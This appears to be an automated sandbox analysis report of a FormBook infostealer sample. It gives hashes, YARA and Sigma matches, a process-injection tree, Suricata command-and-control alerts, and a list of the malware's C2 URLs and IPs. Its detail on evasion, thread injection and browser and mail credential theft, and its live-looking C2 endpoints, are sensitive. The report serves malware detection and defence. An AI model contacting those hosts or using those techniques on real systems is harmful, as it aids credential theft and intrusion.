Edit tour

Windows Analysis Report
QLLafoDdqv.exe

Overview

General Information

Sample name:	QLLafoDdqv.exe renamed because original name is a hash value
Original sample name:	16a3ae414f6303383d089b24318edcedb5891f081108035ee2017c3a61ab0012.exe
Analysis ID:	1486705
MD5:	9f295f94dfaf4a72ef4aaa28e15543f5
SHA1:	5708ab5bfabaa81d29709fabdd08aa8ba5891d47
SHA256:	16a3ae414f6303383d089b24318edcedb5891f081108035ee2017c3a61ab0012
Tags:	exeFormbook
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected FormBook

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Found API chain indicative of sandbox detection

Found direct / indirect Syscall (likely to bypass EDR)

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Performs DNS queries to domains with low reputation

Queues an APC in another process (thread injection)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Uncommon Svchost Parent Process

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

QLLafoDdqv.exe (PID: 1656 cmdline: "C:\Users\user\Desktop\QLLafoDdqv.exe" MD5: 9F295F94DFAF4A72EF4AAA28E15543F5)

svchost.exe (PID: 1804 cmdline: "C:\Users\user\Desktop\QLLafoDdqv.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

WOaBXdWwIJKzuV.exe (PID: 3620 cmdline: "C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

netbtugc.exe (PID: 2664 cmdline: "C:\Windows\SysWOW64\netbtugc.exe" MD5: EE7BBA75B36D54F9E420EB6EE960D146)

WOaBXdWwIJKzuV.exe (PID: 5700 cmdline: "C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

firefox.exe (PID: 3536 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.4564773775.0000000002530000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000004.00000002.4564773775.0000000002530000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2a6e0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13d7f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000008.00000002.4581093569.00000000055C0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000008.00000002.4581093569.00000000055C0000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x3e43f:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x27ade:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000004.00000002.4574527555.0000000002BF0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000004.00000002.4574527555.0000000002BF0000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2a6e0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13d7f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000002.00000002.2270118769.0000000002E80000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.2270118769.0000000002E80000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2a6e0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13d7f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000002.00000002.2269837439.00000000024D0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.2269837439.00000000024D0000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2de63:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x17502:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000003.00000002.4574542638.0000000002F30000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.4574542638.0000000002F30000.00000040.00000001.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x4f4537:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x4ddbd6:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000004.00000002.4575593241.0000000002C30000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000004.00000002.4575593241.0000000002C30000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2a6e0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13d7f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000002.00000002.2270555889.0000000003350000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.2270555889.0000000003350000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x4f4537:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x4ddbd6:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.svchost.exe.24d0000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
2.2.svchost.exe.24d0000.0.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2d063:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x16702:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
2.2.svchost.exe.24d0000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
2.2.svchost.exe.24d0000.0.raw.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2de63:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x17502:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01

Sigma Signatures

System Summary

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\QLLafoDdqv.exe", CommandLine: "C:\Users\user\Desktop\QLLafoDdqv.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\QLLafoDdqv.exe", ParentImage: C:\Users\user\Desktop\QLLafoDdqv.exe, ParentProcessId: 1656, ParentProcessName: QLLafoDdqv.exe, ProcessCommandLine: "C:\Users\user\Desktop\QLLafoDdqv.exe", ProcessId: 1804, ProcessName: svchost.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Users\user\Desktop\QLLafoDdqv.exe", CommandLine: "C:\Users\user\Desktop\QLLafoDdqv.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\QLLafoDdqv.exe", ParentImage: C:\Users\user\Desktop\QLLafoDdqv.exe, ParentProcessId: 1656, ParentProcessName: QLLafoDdqv.exe, ProcessCommandLine: "C:\Users\user\Desktop\QLLafoDdqv.exe", ProcessId: 1804, ProcessName: svchost.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET MALWARE FormBook CnC Checkin (GET) M5 - Source IP: 192.168.2.6 - Destination IP: 199.59.243.226

Timestamp:	2024-08-02T13:53:43.440829+0200
SID:	2050745
Source Port:	64512
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) M5 - Source IP: 192.168.2.6 - Destination IP: 217.196.55.202

Timestamp:	2024-08-02T13:53:27.259778+0200
SID:	2050745
Source Port:	49770
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) M5 - Source IP: 192.168.2.6 - Destination IP: 85.159.66.93

Timestamp:	2024-08-02T13:51:57.423849+0200
SID:	2050745
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) M5 - Source IP: 192.168.2.6 - Destination IP: 15.197.172.60

Timestamp:	2024-08-02T13:52:25.093527+0200
SID:	2050745
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) M5 - Source IP: 192.168.2.6 - Destination IP: 154.215.72.110

Timestamp:	2024-08-02T13:54:27.403003+0200
SID:	2050745
Source Port:	64523
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) M5 - Source IP: 192.168.2.6 - Destination IP: 15.197.240.20

Timestamp:	2024-08-02T13:53:05.503000+0200
SID:	2050745
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) M5 - Source IP: 192.168.2.6 - Destination IP: 72.52.178.23

Timestamp:	2024-08-02T13:54:04.925630+0200
SID:	2050745
Source Port:	64518
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) M5 - Source IP: 192.168.2.6 - Destination IP: 66.29.149.46

Timestamp:	2024-08-02T13:52:38.434979+0200
SID:	2050745
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) M5 - Source IP: 192.168.2.6 - Destination IP: 46.30.211.38

Timestamp:	2024-08-02T13:51:43.897495+0200
SID:	2050745
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) M5 - Source IP: 192.168.2.6 - Destination IP: 52.25.92.0

Timestamp:	2024-08-02T13:51:16.664024+0200
SID:	2050745
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) M5 - Source IP: 192.168.2.6 - Destination IP: 195.110.124.133

Timestamp:	2024-08-02T13:52:51.871610+0200
SID:	2050745
Source Port:	49762
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) M5 - Source IP: 192.168.2.6 - Destination IP: 116.50.37.244

Timestamp:	2024-08-02T13:51:30.591363+0200
SID:	2050745
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) M5 - Source IP: 192.168.2.6 - Destination IP: 194.67.71.191

Timestamp:	2024-08-02T13:54:18.417842+0200
SID:	2050745
Source Port:	64522
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) M5 - Source IP: 192.168.2.6 - Destination IP: 154.215.72.110

Timestamp:	2024-08-02T13:50:17.693616+0200
SID:	2050745
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE FormBook CnC Checkin (GET) M5 - Source IP: 192.168.2.6 - Destination IP: 91.195.240.94

Timestamp:	2024-08-02T13:52:11.078419+0200
SID:	2050745
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://www.empowermedeco.com/fo8o/	Avira URL Cloud: Label: malware
Source: http://www.shenzhoucui.com/fo8o/?Ixe=Apq4tPPXNdTp2&blWd=CKPof6WmPR8MjyGgZoDlhb60KxQVVSuHH5TS1bRPLOh5omNg/qt+/6bvCL2pthCxfTLrkj/U4P5Lt/hzCRdBTD8WClZdEhsa3dPrDeE1SdlnJbrG6MsWCo/sylvA1Bg/24QA05c=	Avira URL Cloud: Label: malware
Source: http://www.liangyuen528.com/fo8o/	Avira URL Cloud: Label: malware
Source: http://www.liangyuen528.com/fo8o/?Ixe=Apq4tPPXNdTp2&blWd=iiIkdrB6KYcVQoN0c6CfZniI+lK17wmUSOc41yM1Q/k97jiJcokuWPbOTxiCodGWiOQkUrp21l37eyMeLTp+RFkz+4bzDeEKKqRZgAR6qoTILtOL6EdJZhJZBnFdSPOr30I02M8=	Avira URL Cloud: Label: malware
Source: http://www.elettrosistemista.zip/fo8o/?Ixe=Apq4tPPXNdTp2&blWd=bO1UBvtoHFNUmlWGmXL3o3L5Dhw+Vy81qF418M7UHpKKa2cgLZsmM/SsbGGojtls67Xc6OgTo57aJm1+bsxMMgl3a4mkxzPbkN9BQKjpJMF6ezHcknvvvjzNmyPcHDwhODu1wVk=	Avira URL Cloud: Label: malware
Source: http://www.empowermedeco.com/fo8o/?blWd=mxnR+iHPFb8HZiaBBOLBDF0OC7azb6MRPLEBGwFodGelSqoCQiBwPqu0WU7djgVoJgj4cKk6Pp6Q/yIaSghKYS1O+KnDGu0Ee7a9fQq7JRnHJ6pn6i4sEdb7G20jo8euDHkgubc=&Ixe=Apq4tPPXNdTp2	Avira URL Cloud: Label: malware
Source: http://www.kasegitai.tokyo/fo8o/	Avira URL Cloud: Label: malware
Source: http://www.shenzhoucui.com/fo8o/	Avira URL Cloud: Label: malware
Source: http://www.elettrosistemista.zip/fo8o/	Avira URL Cloud: Label: malware
Source: https://www.empowermedeco.com/fo8o/?blWd=mxnR	Avira URL Cloud: Label: malware
Source: http://www.kasegitai.tokyo/fo8o/?blWd=0LNqIGaAWMhMIMLJ2VJjkgaiCF/+7LEr9lFre+yu3/9GvRNYi1uHmkVftE7qrB4Q/AkDmlcR4eDvWrml8CJ8ssmc93kihOWHWb8NTA0vbQpCHGBmxgdm5sPEbG1Wvor0LSPPjnI=&Ixe=Apq4tPPXNdTp2	Avira URL Cloud: Label: malware
Source: http://www.techchains.info/fo8o/	Avira URL Cloud: Label: phishing

Multi AV Scanner detection for domain / URL

Source: www.donnavariedades.com	Virustotal: Detection: 8%	Perma Link
Source: empowermedeco.com	Virustotal: Detection: 11%	Perma Link
Source: www.liangyuen528.com	Virustotal: Detection: 6%	Perma Link
Source: www.kasegitai.tokyo	Virustotal: Detection: 7%	Perma Link
Source: www.rssnewscast.com	Virustotal: Detection: 6%	Perma Link
Source: www.goldenjade-travel.com	Virustotal: Detection: 8%	Perma Link
Source: www.shenzhoucui.com	Virustotal: Detection: 8%	Perma Link
Source: www.techchains.info	Virustotal: Detection: 10%	Perma Link
Source: www.magmadokum.com	Virustotal: Detection: 9%	Perma Link
Source: www.660danm.top	Virustotal: Detection: 10%	Perma Link
Source: www.antonio-vivaldi.mobi	Virustotal: Detection: 9%	Perma Link
Source: www.3xfootball.com	Virustotal: Detection: 9%	Perma Link
Source: www.empowermedeco.com	Virustotal: Detection: 5%	Perma Link
Source: elettrosistemista.zip	Virustotal: Detection: 10%	Perma Link
Source: www.k9vyp11no3.cfd	Virustotal: Detection: 8%	Perma Link
Source: www.b301.space	Virustotal: Detection: 6%	Perma Link
Source: www.elettrosistemista.zip	Virustotal: Detection: 7%	Perma Link
Source: http://www.magmadokum.com/fo8o/	Virustotal: Detection: 10%	Perma Link
Source: http://www.empowermedeco.com/fo8o/	Virustotal: Detection: 8%	Perma Link
Source: http://www.liangyuen528.com/fo8o/	Virustotal: Detection: 6%	Perma Link
Source: http://www.rssnewscast.com/fo8o/	Virustotal: Detection: 5%	Perma Link

Multi AV Scanner detection for submitted file

Source: QLLafoDdqv.exe	ReversingLabs: Detection: 55%
Source: QLLafoDdqv.exe	Virustotal: Detection: 40%			Perma Link

Yara detected FormBook

Source: Yara match	File source: 2.2.svchost.exe.24d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.24d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4564773775.0000000002530000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4581093569.00000000055C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4574527555.0000000002BF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2270118769.0000000002E80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2269837439.00000000024D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4574542638.0000000002F30000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4575593241.0000000002C30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2270555889.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: QLLafoDdqv.exe

Joe Sandbox ML: detected

Source: QLLafoDdqv.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: WOaBXdWwIJKzuV.exe, 00000003.00000002.4564777627.0000000000D5E000.00000002.00000001.01000000.00000004.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4568620596.0000000000D5E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: QLLafoDdqv.exe, 00000000.00000003.2121082522.0000000004120000.00000004.00001000.00020000.00000000.sdmp, QLLafoDdqv.exe, 00000000.00000003.2125915509.0000000003F80000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2270155402.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2270155402.000000000309E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178687153.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2180433869.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000003.2270123023.0000000002DAA000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000002.4578682189.0000000003100000.00000040.00001000.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000003.2272280186.0000000002F52000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000002.4578682189.000000000329E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: QLLafoDdqv.exe, 00000000.00000003.2121082522.0000000004120000.00000004.00001000.00020000.00000000.sdmp, QLLafoDdqv.exe, 00000000.00000003.2125915509.0000000003F80000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.2270155402.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2270155402.000000000309E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178687153.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2180433869.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, netbtugc.exe, 00000004.00000003.2270123023.0000000002DAA000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000002.4578682189.0000000003100000.00000040.00001000.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000003.2272280186.0000000002F52000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000002.4578682189.000000000329E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: netbtugc.pdb source: svchost.exe, 00000002.00000002.2269979918.0000000002800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2238927543.000000000281A000.00000004.00000020.00020000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000003.00000002.4570954462.00000000014A8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: netbtugc.exe, 00000004.00000002.4567487590.0000000002AFE000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000002.4580387603.000000000372C000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.000000000318C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2556821079.0000000006F3C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: netbtugc.exe, 00000004.00000002.4567487590.0000000002AFE000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000002.4580387603.000000000372C000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.000000000318C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2556821079.0000000006F3C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: netbtugc.pdbGCTL source: svchost.exe, 00000002.00000002.2269979918.0000000002800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2238927543.000000000281A000.00000004.00000020.00020000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000003.00000002.4570954462.00000000014A8000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_0073DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_0073DBBE
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_0070C2A2 FindFirstFileExW,	0_2_0070C2A2
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_007468EE FindFirstFileW,FindClose,	0_2_007468EE
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_0074698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_0074698F
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_0073D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0073D076
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_0073D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0073D3A9
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_00749642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00749642
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_0074979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_0074979D
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_00749B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00749B2B
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_00745C97 FindFirstFileW,FindNextFileW,FindClose,	0_2_00745C97
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4_2_0254BAB0 FindFirstFileW,FindNextFileW,FindClose,	4_2_0254BAB0

Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4x nop then xor eax, eax	4_2_02539480
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4x nop then pop edi	4_2_0253DD45
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4x nop then mov ebx, 00000004h	4_2_02DA053E

Networking

Performs DNS queries to domains with low reputation

Source:	DNS query: www.joyesi.xyz
Source:	DNS query: www.joyesi.xyz

Source: Joe Sandbox View

IP Address: 91.195.240.94 91.195.240.94

Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.243.226
